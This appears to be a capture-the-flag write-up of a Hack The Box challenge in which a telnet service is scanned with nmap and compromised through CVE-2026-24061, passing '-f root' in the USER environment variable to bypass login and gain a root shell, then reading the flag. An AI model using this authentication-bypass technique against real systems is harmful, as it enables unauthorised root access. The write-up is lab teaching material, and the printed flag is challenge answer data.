Introduction:

Stormbound scouts found a forgotten RiverGate PLC beneath Crownspire brineworks, still feeding treated water toward the Ash Vault service tunnels. Vaultrune wardens cut its controller off from normal oversight after the Signet shattered, but old maintenance habits tend to leave traces. Find what still answers and recover the latest checkpoint token before another sealed gate obeys a forged writ.

Description:

It looked like a long forgotten management interface but it turned out to still be listening. A quick fingerprint of the Telnet banner pointed to a known authentication bypass in GNU InetUtils' telnetd (CVE-2026-24061), where the USER environment variable is passed unsanitized to /bin/login. By adding -f root in the beginning of the variable tricked the login process into skipping authentication entirely, handing over a root shell and the checkpoint token.

Reconnaissance & Enumeration:

 1┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]  
 2└──╼ $nmap -sV -sC -Pn -p 32746 154.57.164.74  
 3  
 4Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-24 18:31 +0200  
 5Nmap scan report for 154-57-164-74.static.isp.htb.systems (154.57.164.74)  
 6Host is up (0.10s latency).  
 7  
 8PORT      STATE SERVICE VERSION  
 932746/tcp open  telnet  Openwall GNU/*/Linux telnetd  
10Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
11  
12Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
13Nmap done: 1 IP address (1 host up) scanned in 22.60 seconds  
14┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]  
15└──╼ $

Okay Telnet is an old insecure management protocol that doesn’t encrypt communication.

If we search for openwall gnu /*/ linux telnetd on google we will find CVE-2026-24061.

Apparently the telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to authentication bypass via environment variable injection. By passing a crafted USER environment variable (e.g., “-f root”) during the Telnet NEW-ENVIRON subnegotiation, an attacker can force the login process to grant a root shell without requiring a password.

Exploit Telnet:

Lets try it out:

┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026/Line_Tap]  
└──╼ $python3 CVE-2026-24061.py 154.57.164.76 -p 31162  
  
[*] Connected to 154.57.164.76:31162  
[*] Sending payload: -f root  
[*] Interactive session started. Type commands below.  
  
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.18.24-talos x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:     https://landscape.canonical.com  
* Support:        https://ubuntu.com/pro  
  
This system has been minimized by removing packages and content that are  
not required on a system that users do not log into.  
  
To restore this content, you can run the 'unminimize' command.  
root@ng-team-47570-icslinetapca2026-fsrxs-75598b6f74-s24k6:~#

Awesome we got the root shell!

The exploit works because telnetd fails to sanitize the USER variable before passing it as an argument to /bin/login. By prepending the -f flag, the login utility skips the authentication phase.

Now for the flag!

root@ng-team-47570-icslinetapca2026-fsrxs-75598b6f74-s24k6:~# cat /flag.txt  
cat /flag.txt  
HTB{r7u_l1n3_74p_5n4p5h07_7756631447d46aa38bb6552db067ac51}
root@ng-team-47570-icslinetapca2026-fsrxs-75598b6f74-s24k6:~#

Completion: